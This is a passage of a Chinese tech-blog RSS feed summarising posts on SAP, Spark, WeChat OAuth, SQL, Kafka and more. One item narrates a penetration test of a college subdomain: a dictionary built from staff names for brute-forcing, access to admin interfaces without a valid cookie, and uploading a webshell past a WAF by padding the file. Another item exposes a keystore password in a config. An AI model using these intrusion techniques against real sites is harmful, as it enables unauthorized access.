      <description>版本系列：S4 1610&#xA;业务背景介绍&#xA;标准SAP系统中，对于预收账款和银行承兑、商业承兑来说，都需要做信贷风险管控。做预收账款来扣减信贷风险价值。但是在一些公司中，银行承兑做账此时不需要进行扣减信贷风险价值，SAP提供标准配置进行调整；&#xA;知识须知&#xA;1.特别总账信贷更新，在前端业务中体现方式为业务类型为“300—特殊信贷风险”；&#xA;来自特殊总账事务的预收款：如果它们与信贷限额相关，(例如付款)，则会从特殊承付款转移到总承付款；系统基于付款者更新价值；&#xA;客户的信贷风险明细&#xA;系统配置&#xA;T-code:FBKP，预收账款、银行承兑都需要进行信贷管控处理，需在特别总账配置中进行信贷额度管控，如下图所示：&#xA;FBKP-特别总账标识&#xA;特别总账相关后台表&#xA;延伸思考&#xA;1.若修改了FBKP特别总账标识，即新增或减少信贷限额，对于FI账务以前的特别总账业务应当如何处理？&#xA;组织级别FI账务信贷数据变更后 前端业务单据处理方案：&#xA;1)根据FI特别总账变更规则，确认需要变更的FI账务的客户编号(信贷账户号)&#xA;2)根据客户编号(信贷账户号)，使用程序SE38:UKM_RFDKLI20_AR调整FI特殊总账凭证信贷值更新；&#xA;3)更新客户信贷风险控制价值，使用事物代码：UKM_COMMITMENTS ,删除错误行项目即可(300业务(特殊信贷风险))；&#xA;4)检查FI 信贷数据和 SD中的信贷风险价值 金额 是否一致；比对FBL5N 未清数据-仅包含特别总账和 BP信贷控制价值 业务类型为300(特殊信贷风险)；&#xA;5)检查UKM_MALUS_DSP的客户信贷风险超额情况，结合VKM1对未超额，但是仍然被冻结信贷的客户单据进行批准过账处理；</description>
    </item>
    <item>
      <title>Newtonsoft.Json序列化和反序列化导致内存飙升</title>
      <link>https://bchobby.github.io/posts/639e9818d3746fff15f4e5f2becd0994/</link>
      <pubDate>Sat, 19 Dec 2020 13:56:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/639e9818d3746fff15f4e5f2becd0994/</guid>
      <description>做个记录，&#xA;近期遇到，Newtonsoft.Json序列化和反序列化导致内存飙升。排查问题比较难排查，因为在用户量少的时候，出现不了问题，等用户量到达几万后，就出现内存爆掉了。&#xA;原因：(1)一起请求，多次序列化和反序列化；&#xA;(2)对象的数据比较大；</description>
    </item>
    <item>
      <title>dxf geojson 转换,如何将CAD（DWG）文件转换为GeoJSON？</title>
      <link>https://bchobby.github.io/posts/463961c2b890b0305b94909210f90c78/</link>
      <pubDate>Sat, 19 Dec 2020 13:39:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/463961c2b890b0305b94909210f90c78/</guid>
      <description>I&#39;m working on openlayers and need to change the format of dwg to GeoJSON with ArcGIS.&#xA;how can i do this?&#xA;解决方案&#xA;Indeed, GDAL has the necessary tools to get this done. ogr2ogr is a program included with GDAL that can transform a variety of formats, including DWG. If you don&#39;t already have GDAL installed, here are good tutorials for windows and mac/linux. The following guide recommends converting to a DXF first, since the library for converting from DXF is included by default with GDAL.</description>
    </item>
    <item>
      <title>后台填充_记一次后台漏洞挖掘渗透过程</title>
      <link>https://bchobby.github.io/posts/5009765f8dd234292cd1490a40562b97/</link>
      <pubDate>Sat, 19 Dec 2020 13:09:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5009765f8dd234292cd1490a40562b97/</guid>
      <description>相关漏洞已提交官方，并修复，请勿未授权进行渗透测试。&#xA;前言 打工人，打工魂，打工都是人上人。&#xA;好家伙一到工地,就来了一车砖.xls。话不多说咱开搬。&#xA;是某学院的站点像这种官网主站都做得比较好了,我一般会找子站这种软柿子捏捏(太菜)，经过一番查找,找到个看起来比较软的柿子,掏出我的xray+awvs就是一通扫,好家伙，啪一下，很快啊，页面就开始爆红。好吧，果然脏活累活只能亲自上手，只希望今天的砖不要太烫手。&#xA;访问主页面 来到这个子站就发现功能处有个内部办公功能点击内部办公输入万能口令admin/admin就是一把梭，好吧，嗦不动。但是看着好像用户名可以爆破。&#xA;那就掏出我的1万大字典，先来爆破他个用户名看看，线程调低些。&#xA;(忘记截图了(lll￢ω￢))&#xA;Burp还在跑的时候，我看到左下角有个坏掉了的图片，点开一看，居然是大名鼎鼎的360webscan,但是好像已经失效了。咳咳，扯远了&#xA;过了一会儿,burp也爆破完了,我的1万大字典居然一个也没爆到。&#xA;生成字典&#xA;那既然直接爆破不行，那就去网页上看看有什么泄露的信息&#xA;果然，网站上有个教师风采把这些教师的名字的缩写做成用户名字典，再辅以我的1万大密码字典成功爆出用户名和密码&#xA;登录后台 来到后台发现应该是个普通权限的用户，只有添加习题和查看习题的功能点击添加习题，是个文件上传界面，先直接上传一个php文件返回添加成功,但是页面上没有回显地址抓包来看也是一样的没有地址回显。这时候再查看一下已发布的习题发现已经成功上传了,但就是没有文件地址……&#xA;未授权访问 现在现有功能没办法上传，但是后台都进了，总不能空手而归。但是刚刚一顿操作下来，感觉这个后台设计的很简陋，安全练习时长半个月的我突然想到像这种后台一般都是自己写的，而且对访问权限的管理一般都不严格。说干就干，&#xA;查看网页源代码一通找，看看有没有什么泄露的地址。&#xA;查看源码发现这个后台好像还用了什么框架Js里也没发现其他链接,再看看cookie居然什么都没有,当时我气急败坏,一怒之下把cookie的值给删了，再次访问页面。提示登录超时在我点了确定，想着隔壁保安好像还缺个位置，好家伙页面居然没有自动跳转到首页，还把所有功能接口都显示出来了。换个浏览器登录，将未授权的接口用之前账号的cookie来访问，选择教薪导入咨询信息上传这个功能。上传一个txt用burp抓包，修改文件名和文件内容点击send发现被弃包，应该存在waf。&#xA;经过测试发现应该是对上传的文件内容进行检测换成图片马上传也不行，于是用填充垃圾字符消耗waf内存的方法绕过waf，我这里用了54万的字符成功上传然后连接&#xA;推荐阅读：&#xA;记一次漏洞挖掘实战之木桶短板&#xA;红队中易被攻击的一些重点系统漏洞整理&#xA;记一次失败的实战渗透&#xA;点赞，转发，在看&#xA;文章来源：先知社区&#xA;作者：lushun丶</description>
    </item>
    <item>
      <title>spark 存入hbase_Spark 使用Java 写入 HBase</title>
      <link>https://bchobby.github.io/posts/612bdaf7f9686c83377f97cd20de6a21/</link>
      <pubDate>Sat, 19 Dec 2020 11:46:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/612bdaf7f9686c83377f97cd20de6a21/</guid>
      <description>实例代码：&#xA;package com.bigdata.spark.hbase;&#xA;import java.io.IOException;&#xA;import java.util.List;&#xA;import java.util.regex.Pattern;&#xA;import org.apache.hadoop.conf.Configuration;&#xA;import org.apache.hadoop.hbase.HBaseConfiguration;&#xA;import org.apache.hadoop.hbase.HColumnDescriptor;&#xA;import org.apache.hadoop.hbase.HTableDescriptor;&#xA;import org.apache.hadoop.hbase.MasterNotRunningException;&#xA;import org.apache.hadoop.hbase.ZooKeeperConnectionException;&#xA;import org.apache.hadoop.hbase.client.HBaseAdmin;&#xA;import org.apache.hadoop.hbase.client.HTable;&#xA;import org.apache.hadoop.hbase.client.Put;&#xA;import org.apache.hadoop.hbase.mapreduce.TableInputFormat;&#xA;import org.apache.spark.SparkConf;&#xA;import org.apache.spark.api.java.JavaPairRDD;&#xA;import org.apache.spark.api.java.JavaRDD;&#xA;import org.apache.spark.api.java.JavaSparkContext;&#xA;import org.apache.spark.api.java.function.Function;&#xA;import org.apache.spark.api.java.function.PairFunction;&#xA;import org.apache.spark.api.java.function.VoidFunction;&#xA;import org.apache.spark.broadcast.Broadcast;&#xA;import org.apache.spark.sql.DataFrame;&#xA;import org.apache.spark.sql.Row;&#xA;import org.apache.spark.sql.SQLContext;&#xA;import scala.Tuple2;&#xA;import com.bigdata.spark.SparkManager;&#xA;import com..bigdata.spark.pojo.Customer;&#xA;import com.bigdata.spark.sql.DataFrameManger;&#xA;public class SparkHbaseTest {&#xA;private static final Pattern SPACE = Pattern.</description>
    </item>
    <item>
      <title>vue获取微信登陆权限_微信公众号网页授权--前端获取code及用户信息（vue）</title>
      <link>https://bchobby.github.io/posts/3d9462666a929409eb39bc4cd73f62aa/</link>
      <pubDate>Sat, 19 Dec 2020 01:09:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d9462666a929409eb39bc4cd73f62aa/</guid>
      <description>前段时间开发微信公众号网页授权，虽然网上已经有很多关于这方面的博客或者教程，但是第一次开发还是遇到挺多坑的，以下分享一下我的踩坑填坑之路。&#xA;一、测试号相关配置&#xA;首先在你公司申请的测试号上配置好相关信息，这里直接上图吧：&#xA;URL与Token都是要后台配置好的，直接叫后台给过来就好啦，域名一定要和URL的域名保持一致。&#xA;然后，在体验接口权限表里面找到网页帐号--网页授权获取用户基本信息，点击修改：&#xA;配置授权回调的域名，至于什么是OAuth2.0，大家自行百度吧。这里的域名也要与上面的域名一致。配置成功会有通过安全监测的提示，这里不上截图了。&#xA;二、获取code&#xA;配置好以上回调域名等后，就可以写代码了。首先是获取code，需要打开如下页面：&#xA;https://open.weixin.qq.com/connect/oauth2/authorize?appid=APPID&amp;amp;redirect_uri=REDIRECT_URI&amp;amp;response_type=code&amp;amp;scope=SCOPE&amp;amp;state=STATE#wechat_redirect 若提示“该链接无法访问”，请检查参数是否填写错误，是否拥有scope参数对应的授权作用域权限。&#xA;其中，这些参数说明在微信JSSDK说明文档里面都有说明，如下图：&#xA;配置好参数后，进入这个页面微信会返回code在回调的url里给我们：&#xA;然后，我们只需去url里截取这个code即可，但是我们发现这个code并不是跟在url的最后面，所以一开始我用vue的this.$route.query.code方法行不通，得用js进行截取，以下是我的代码：&#xA;methods: {&#xA;getCode () { // 非静默授权，第一次有弹框&#xA;this.code = &#39;&#39;&#xA;var local = window.location.href // 获取页面url&#xA;var appid = &#39;wx65adcf075369****&#39;&#xA;this.code = this.getUrlCode().code // 截取code&#xA;if (this.code == null || this.code === &#39;&#39;) { // 如果没有code，则去请求&#xA;window.location.href = `https://open.weixin.qq.com/connect/oauth2/authorize?appid=${appid}&amp;amp;redirect_uri=${encodeURIComponent(local)}&amp;amp;response_type=code&amp;amp;scope=snsapi_userinfo&amp;amp;state=123#wechat_redirect`&#xA;} else {&#xA;// 你自己的业务逻辑&#xA;}&#xA;},&#xA;getUrlCode() { // 截取url中的code方法&#xA;var url = location.search&#xA;this.winUrl = url</description>
    </item>
    <item>
      <title>如何查询土地规划用途_哪里能够查到用地规划图</title>
      <link>https://bchobby.github.io/posts/74a9220d7561d79059d1d8b654d9208f/</link>
      <pubDate>Fri, 18 Dec 2020 23:17:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/74a9220d7561d79059d1d8b654d9208f/</guid>
      <description>展开全部&#xA;可以在规划局，城市总体规e5a48de588b63231313335323631343130323136353331333431356665划图，里面有城市远期各类用地统筹安排。&#xA;用地规划图的作用是对土地开发、利用、整治、保护等方面做的统筹安排和长远规划。目的在于加强土地利用的宏观控制和计划管理，合理利用土地资源，促进国民经济协调发展所绘制的专题图，&#xA;因为这种图中间的利润很大，重要的很少能查到。用地规划图是具有局限性的，它在一定区域内，根据国家社会经济可持续发展的要求和当地自然、经济、社会条件对土地开发、利用、治理、保护&#xA;在空间上、时间上所作的总体的战略性布局和统筹安排，从全局和长远利益出发，以区域内全部土地为对象，合理调整土地利用结构和布局；&#xA;扩展资料：&#xA;怎么看用地规划图&#xA;一、图题&#xA;就是图纸的标题，分为主题和副题。&#xA;1,主题：城市名称+项目所在地+工作阶段(总规、控规、分区规划等等)，如上图中 ：保定市+主城区+控制性详细规划。&#xA;2,副题：图纸名称。如上图中：中心城区用地布局规划图、用地布局规划图。&#xA;二、图界&#xA;图界就是城市规划图的幅面内应涵盖的用地范围。所有城市规划的现状图和规划图，都应涵盖规划用地的全部范围、周邻用地的直接关联范围和该城市规划图按规定应包含的规划内容的范围。&#xA;三、比例和比例尺&#xA;比例：图纸上单位长度与地形实际单位长度的比例关系。比例尺：图纸上一条线段的长度与地面相应线段的实际长度之比。上图中均有表示，不再赘述。&#xA;四、图例&#xA;城市规划图均应标绘有图例。图例由图形(线条或色块)与文字组成，文字是对图形的注释。城市规划用地(用地图例应能表示地块的使用性质)图例，单色图例应使用线条、图形和文字；多色图例应用色块、图形和文字，以上两图均为多色图例。</description>
    </item>
    <item>
      <title>mgr未同步 mysql_mysql8.0 搭建mgr踩坑记录</title>
      <link>https://bchobby.github.io/posts/09f343106bef7c2744f1a0b13f405ef7/</link>
      <pubDate>Fri, 18 Dec 2020 22:06:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09f343106bef7c2744f1a0b13f405ef7/</guid>
      <description>启动总是报错：&#xA;2020-08-21T04:52:36.332502Z 10 [System] [MY-010597] [Repl] &#39;CHANGE MASTER TO FOR CHANNEL &#39;group_replication_applier&#39; executed&#39;. Previous state master_host=&#39;&#39;, master_port= 3306, master_log_file=&#39;&#39;, master_log_pos= 4, master_bind=&#39;&#39;. New state master_host=&#39;&#39;, master_port= 0, master_log_file=&#39;&#39;, master_log_pos= 4, master_bind=&#39;&#39;.&#xA;2020-08-21T04:52:36.425811Z 0 [ERROR] [MY-011735] [Repl] Plugin group_replication reported: &#39;[GCS] Error connecting to the local group communication engine instance.&#39;&#xA;2020-08-21T04:52:37.468858Z 0 [ERROR] [MY-011735] [Repl] Plugin group_replication reported: &#39;[GCS] The member was unable to join the group. Local port: 33081&#39;</description>
    </item>
    <item>
      <title>数据分析sql面试必会6题经典_数据分析SQL面试题目9套汇总</title>
      <link>https://bchobby.github.io/posts/2748f55b3724ace036b6f545cb8bbdad/</link>
      <pubDate>Fri, 18 Dec 2020 18:12:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2748f55b3724ace036b6f545cb8bbdad/</guid>
      <description>金九银十又是找工作的好季节啊，最近不少数据蛙数据分析社群同学，问到一些面试数据分析时的SQL题目，所以就结合大家的面试题目以及工作场景给大家总结了一些经典题目。同时也特别感谢001号同学和002号同学的帮忙整理&#xA;面试题目一&#xA;1.题目如下&#xA;2.下面开始建表、插入数据&#xA;create table datafrog_test1&#xA;(userid varchar(20),&#xA;changjing varchar(20),&#xA;inttime varchar(20)&#xA;);&#xA;insert into datafrog_test1 values&#xA;(1,1001,1400),&#xA;(2,1002,1401),&#xA;(1,1002,1402),&#xA;(1,1001,1402),&#xA;(2,1003,1403),&#xA;(2,1004,1404),&#xA;(3,1003,1400)&#xA;(4,1004,1402),&#xA;(4,1003,1403),&#xA;(4,1001,1403),&#xA;(4,1002,1404)&#xA;(5,1002,1402),&#xA;(5,1002,1403),&#xA;(5,1001,1404),&#xA;(5,1003,1405);&#xA;3.解答思路:排序及concat连接&#xA;select concat(t.userid,&#39;-&#39;,group_concat(t.changjing separator&#39;-&#39;)) as result&#xA;from(&#xA;select userid,changjing,inttime,&#xA;if(@tmp=userid,@rank:=@rank+1,@rank:=1) as new_rank,&#xA;@tmp:=userid as tmp&#xA;from (select userid,changjing, min(inttime) inttime from datafrog_test1 group by userid,changjing)temp&#xA;order by userid,inttime&#xA;)t&#xA;where t.new_rank&amp;lt;=2&#xA;group by t.userid;&#xA;4.输出结果:&#xA;5.注意:</description>
    </item>
    <item>
      <title>小程序进度条_小程序杂技谈之横向双色进度条</title>
      <link>https://bchobby.github.io/posts/abb35b69fac8b028f28f4c97f983268b/</link>
      <pubDate>Fri, 18 Dec 2020 14:59:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/abb35b69fac8b028f28f4c97f983268b/</guid>
      <description>万 圣 节 狂 欢 横向双色进度条&#xA;先看效果图&#xA;小程序自带的进度条不能满足我们想要的效果，所以这里我们决定用view叠加的方式进行动画增长和展示&#xA;编写布局&#xA;style=&#34;margin-bottom:{{index == arrProgress.length-1 ? 46 : 0}}rpx;&#34;&amp;gt;&#xA;{{item.name}}&#xA;= 100}}&#34;&amp;gt;&#xA;定义样式&#xA;page{&#xA;background-color: #f5f5f5;&#xA;}&#xA;.v_white_border{&#xA;margin-top: 200rpx;&#xA;width: 680rpx;&#xA;margin-left: 35rpx;&#xA;border-radius: 20rpx;&#xA;background-color: #ffffff;&#xA;display: flex;&#xA;flex-direction: column;&#xA;}&#xA;.normal-progress {&#xA;position: relative;&#xA;height: 95rpx;&#xA;width: 600rpx;&#xA;margin-left: 33rpx;&#xA;}&#xA;.normal-progress-name{&#xA;height:65rpx;&#xA;width: 150rpx;&#xA;margin-top: 10rpx;&#xA;line-height:65rpx;&#xA;font-size:24rpx;&#xA;color:#070A0C;&#xA;}&#xA;.normal-double-progress {&#xA;width: 600rpx;&#xA;height: 20rpx;&#xA;background-color: #F5F5F5;</description>
    </item>
    <item>
      <title>腾讯云域名&#43;https申请，并整合springboot</title>
      <link>https://bchobby.github.io/posts/8ff007ce42d37852b48fc747efe8146b/</link>
      <pubDate>Fri, 18 Dec 2020 14:27:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ff007ce42d37852b48fc747efe8146b/</guid>
      <description>文章转载至：https://www.cnblogs.com/hhhshct/p/10276319.html 阿里云域名申请 域名申请比较简单，使用微信注册阿里云账号并登陆，点击产品，选择域名注册&#xA;输入你想注册的域名&#xA;进入域名购买页面，搜索可用的后缀及价格，越热门的后缀（.com,.cn）越贵一般，并且很可能已经被注册。&#xA;最后，付款购买即可。&#xA;申请ssl证书 还是进入首页，点击产品按钮，在下拉菜单中选择ssl证书，进入后点立即购买，在下图中做如下选择&#xA;ssl证书是要与域名绑定的，按要求填好域名和邮箱，密码可以不填&#xA;填写好，选择下一步，然后选择手动dns，提交，然后查看证书详情，如果域名列表有填写的域名，并且域名解析是腾讯云，那么会出现自动DNS验证。&#xA;进入域名解析页面，找到你刚创建的域名，点击解析，添加上面的记录&#xA;稍等1分钟，审核就会通过，然后就可以下载ssl证书，加压后有对应nginx、tomcat、apache等的证书，我们配置springboot，所以选择tomcat。&#xA;springboot配置https 新建一个springboot项目，加入web模块，将我们的证书copy到resrouce目录下，同时在application.yml中添加如下配置。&#xA;server: port: 443 ssl: enabled: true key-store-password: zhanjian1514 key-store: classpath:zhanjianmxcz.cn.jks key-store-type: JKS condition: http2https: true http: port: 80 修改启动器，使其支持将http请求自动转化为https请求&#xA;package io.powerx; import org.apache.catalina.Context; import org.apache.catalina.connector.Connector; import org.apache.tomcat.util.descriptor.web.SecurityCollection; import org.apache.tomcat.util.descriptor.web.SecurityConstraint; import org.springframework.beans.factory.annotation.Value; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; import org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory; import org.springframework.context.annotation.Bean; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController @SpringBootApplication public class TestsslApplication { @RequestMapping(value = &#34;/test&#34;) public String test() { return &#34;</description>
    </item>
    <item>
      <title>NAS层架构03</title>
      <link>https://bchobby.github.io/posts/e3323df4cade84fa0b850a2b85ef1d14/</link>
      <pubDate>Fri, 18 Dec 2020 13:45:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3323df4cade84fa0b850a2b85ef1d14/</guid>
      <description>参考文档&#xA;NAS 层 华为，中兴网上有很多文档写的很好。&#xA;整个核心技术还是RF射频，以及L1,L2层算法。&#xA;https://www.txrjy.com/thread-1134676-1-1.html&#xA;https://blog.csdn.net/twjy1314/article/details/68065029&#xA;https://blog.csdn.net/xiashaohua/article/details/40828969?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.add_param_isCf&amp;amp;depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.add_param_isCf&#xA;https://blog.csdn.net/macrohasdefined/article/details/19974069?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-9.edu_weight&amp;amp;depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-9.edu_weight&#xA;https://blog.csdn.net/zhangchangfeng1/article/details/100011608?utm_medium=distribute.pc_relevant.none-task-blog-title-11&amp;amp;spm=1001.2101.3001.4242&#xA;https://blog.csdn.net/perimeter/article/details/44836199?utm_medium=distribute.pc_relevant.none-task-blog-title-14&amp;amp;spm=1001.2101.3001.4242&#xA;https://blog.csdn.net/u011212816/article/details/81901356?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-7.edu_weight&amp;amp;depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-7.edu_weight&#xA;https://blog.csdn.net/zhangchangfeng1/article/details/100011136?utm_medium=distribute.pc_relevant.none-task-blog-title-7&amp;amp;spm=1001.2101.3001.4242&#xA;https://blog.csdn.net/qq_27540925/article/details/79459111?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.edu_weight&amp;amp;depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.edu_weight&#xA;https://download.csdn.net/download/qq_27540925/10271778&#xA;https://blog.csdn.net/qq_27540925/article/details/79467754&#xA;https://blog.csdn.net/u011263761/article/details/79896301?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.edu_weight&amp;amp;depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.edu_weight&#xA;https://blog.csdn.net/keyanting_2018/article/details/88423362?utm_medium=distribute.pc_relevant.none-task-blog-title-2&amp;amp;spm=1001.2101.3001.4242&#xA;https://blog.csdn.net/qq_43631743/article/details/106420674?utm_medium=distribute.pc_relevant_download.none-task-blog-baidujs-8.nonecase&amp;amp;depth_1-utm_source=distribute.pc_relevant_download.none-task-blog-baidujs-8.nonecase&#xA;https://zhuanlan.zhihu.com/p/62245921&#xA;https://www.cnblogs.com/zxc2man/p/7778058.html&#xA;http://sigquit.wordpress.com/2012/08/20/an-introduction-to-libqmi/ http://www.lanedo.com/users/amorgado/talks/FOSDEM2013%20-%20Mobile%20broadband%20modem%20control%20protocols.pdf http://blogs.gnome.org/dcbw/2010/04/15/mobile-broadband-and-qualcomm-proprietary-protocols/&#xA;https://blog.csdn.net/zhangpengzhen1990/article/details/107432403&#xA;https://www.csdn.net/gather_22/MtTagg1sNTIzMDgtYmxvZwO0O0OO0O0O.html&#xA;https://wenku.baidu.com/view/86911e291cb91a37f111f18583d049649a660e49.html&#xA;https://wenku.baidu.com/view/a54c242e6edb6f1aff001fbf.html&#xA;https://max.book118.com/html/2019/0603/8057002073002026.shtm&#xA;http://www.mamicode.com/info-detail-478669.html&#xA;https://wenku.baidu.com/view/678adb3e05a1b0717fd5360cba1aa81145318f76.html&#xA;https://blog.csdn.net/perimeter/article/details/44836199?locationNum=3&#xA;https://wenku.baidu.com/view/ab36e7788c9951e79b89680203d8ce2f00666505.html&#xA;https://blog.csdn.net/u011212816/article/details/97394498&#xA;https://www.csdn.net/gather_21/MtjaIg4sNTgwMTEtYmxvZwO0O0OO0O0O.html&#xA;https://blog.csdn.net/u011212816/article/details/81069710&#xA;https://blog.csdn.net/qq_36562473/article/details/78535222?utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~first_rank_v2~rank_v25-5-78535222.nonecase&amp;amp;utm_term=nas%E5%B1%82%20qxdm&amp;amp;spm=1000.2123.3001.4430&#xA;https://blog.csdn.net/u011263761/article/details/79896301?utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~first_rank_v2~rank_v25-8-79896301.nonecase&amp;amp;utm_term=nas%E5%B1%82%20qxdm&amp;amp;spm=1000.2123.3001.4430&#xA;https://blog.csdn.net/zhangchangfeng1/article/details/100011136?utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~all~first_rank_v2~rank_v25-9-100011136.nonecase&amp;amp;utm_term=nas%E5%B1%82%20qxdm&amp;amp;spm=1000.2123.3001.4430&#xA;https://blog.csdn.net/keyanting_2018/article/details/88407069?utm_medium=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.edu_weight&amp;amp;depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-BlogCommendFromMachineLearnPai2-1.edu_weight&#xA;https://blog.csdn.net/qq_30943197/article/details/81434284?utm_medium=distribute.pc_relevant.none-task-blog-utm_term-10&amp;amp;spm=1001.2101.3001.4242&#xA;https://zhuanlan.zhihu.com/p/62245921&#xA;http://bbs.16rd.com/thread-17115-1-1.html&#xA;https://www.baidu.com/link?url=X5uVJJTgutaV7QkvduU_mkKs5HnVp62Z2YZPJuz9MVQCisrWLnUFAMaIAGdi2ApNfQ56HQYuIPh-d-s-ODsNo_&amp;amp;wd=&amp;amp;eqid=cc03e06e000342aa000000025f8f969f&#xA;https://blog.csdn.net/zhangbijun1230/article/details/79951752&#xA;目录&#xA;MM/GMM 模块 UMTS 开机流程 Cell Selection S准则 从切比雪夫不等式看驻网时间 一 MM（Mobility Management）|GMM(GPRS Mobility Management)&#xA;1.1 架构&#xA;1.2 MM 模块主要作用&#xA;TMSI 重配 |Authentication|Identification|IMSI detach|Abort| MM 消息|Location update</description>
    </item>
    <item>
      <title>高光谱图像分类</title>
      <link>https://bchobby.github.io/posts/d2c97afd4de93476b7323ecd1c35ffd8/</link>
      <pubDate>Fri, 18 Dec 2020 12:05:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2c97afd4de93476b7323ecd1c35ffd8/</guid>
      <description>参考论文：《HybridSN: Exploring 3-D–2-DCNN Feature Hierarchy for Hyperspectral Image Classification》&#xA;高光谱图像是立体数据，也有光谱维数，仅凭2-D-CNN无法从光谱维度中提取出具有良好鉴别能力的feature maps，3-D-CNN在计算上更加复杂，对于在许多光谱带上具有相似纹理的类来说，单独使用也不会有很好的效果，混合CNN模型克服了之前模型的缺点，将3-D-CNN和2-D-CNN层组合到该模型中，充分利用光谱和空间特征图，以达到最大可能的精度。&#xA;2D卷积和3D卷积的区别：&#xA;对一个图像进行2D卷积将输出一个图像，施加在多个图像上的2D卷积(将它们视为不同的通道)也输出一个图像，因此，2D 卷积在每次卷积运算之后会丢失输入信号的时间信息。3D卷积核可以输出一个3维的卷积结果，因此3D卷积可以保留时空特征。&#xA;本文代码在Colab上运行&#xA;1.准备 !wget http://www.ehu.eus/ccwintco/uploads/6/67/Indian_pines_corrected.mat !wget http://www.ehu.eus/ccwintco/uploads/c/c4/Indian_pines_gt.mat !pip install spectral import numpy as np import matplotlib.pyplot as plt import scipy.io as sio from sklearn.decomposition import PCA from sklearn.model_selection import train_test_split from sklearn.metrics import confusion_matrix,accuracy_score,classification_report,cohen_kappa_score import spectral import torch import torchvision import torch.nn as nn import torch.nn.functional as F import torch.optim as optim 2.网络结构 三维卷积部分：&#xA;conv1：（1, 30, 25, 25）， 8个 7x3x3 的卷积核 ==&amp;gt;（8, 24, 23, 23）</description>
    </item>
    <item>
      <title>【Kafka】测试集群中Broker故障对客户端的影响</title>
      <link>https://bchobby.github.io/posts/a3095015a1f1a06116aa00359e29a1ff/</link>
      <pubDate>Fri, 18 Dec 2020 11:09:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3095015a1f1a06116aa00359e29a1ff/</guid>
      <description>本文主要测试Kafka集群中Broker节点故障对客户端的影响。&#xA;集群信息：4个broker、topic：100+(每个topic30个partition)、集群加密方式：plaintext、存储：ceph；&#xA;Producer：单线程，每秒50条左右；&#xA;Consumer：不间断poll消息；&#xA;测试客户端：原生的KafkaConsumer/KafkaProducer；&#xA;测试场景：Producer和Consumer运行过程中，通过K8S dashboard删除集群Pod；&#xA;在程序运行过程中，杀掉Pod，Consumer和Producer可能会出现以下异常，汇总如下：&#xA;Consumer异常信息汇总：（主要是消费者协调器异常、offset提交失败以及连接失败等信息）&#xA;[Consumer clientId=consumer-zhurunhua-test-ssl-1, groupId=zhurunhua-test-ssl] Error sending fetch request (sessionId=855212619, epoch=419) to node 3: org.apache.kafka.common.errors.DisconnectException: null =========================================== [34m2020-12-15 11:04:33.017[0;39m [Consumer clientId=consumer-zhurunhua-test-1-1, groupId=zhurunhua-test-1] Discovered group coordinator kafka-reksgten-0.kafka-reksgten-headless.kafka.svc.xke.test.xdf.cn:29092 (id: 2147483647 rack: null) [31m2020-12-15 11:04:33.023[0;39m [Consumer clientId=consumer-zhurunhua-test-1-1, groupId=zhurunhua-test-1] Error connecting to node kafka-reksgten-0.kafka-reksgten-headless.kafka.svc.xke.test.xdf.cn:29092 (id: 2147483647 rack: null) java.net.UnknownHostException: kafka-reksgten-0.kafka-reksgten-headless.kafka.svc.xke.test.xdf.cn: nodename nor servname provided, or not known =========================================== 2020-12-03 17:41:28.212 ERROR 33340 --- [read | test-tsl] o.</description>
    </item>
    <item>
      <title>CMS和G1的区别</title>
      <link>https://bchobby.github.io/posts/d93d05116d72d35d0599de2c0eba3380/</link>
      <pubDate>Fri, 18 Dec 2020 10:25:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d93d05116d72d35d0599de2c0eba3380/</guid>
      <description>CMS收集器和G1收集器的区别：&#xA;CMS收集器只能充当老年代的收集器.&#xA;G1收集器收可以充当新生代和老年代的收集器.&#xA;CMS收集器是使用“标记-清除”算法进行的垃圾回收，容易产生内存碎片&#xA;G1收集器使用的是“标记-整理”算法，进行了空间整合，降低了内存空间碎片。&#xA;CMS导致给大对象分配内存时因内存碎片过多而导致fullgc.增加了fullgc频繁次数.&#xA;G1可以充分利用多核cpu的硬件优势,使用多核cpu来缩短STW的停顿时间.&#xA;总结:G1支持新生代和老年代,利用多核cpu优势,缩短STW停顿时间,整理内存碎片,减少fullgc频繁次数.对内存友好,对cpu不太好友.&#xA;对cpu友好,对内存不太友好.</description>
    </item>
    <item>
      <title>Hadoop集群环境搭建 HDFS操作基础命令（附hadoop、jdk安装包）</title>
      <link>https://bchobby.github.io/posts/f57a43eeda6de0722a7e023c1f53c786/</link>
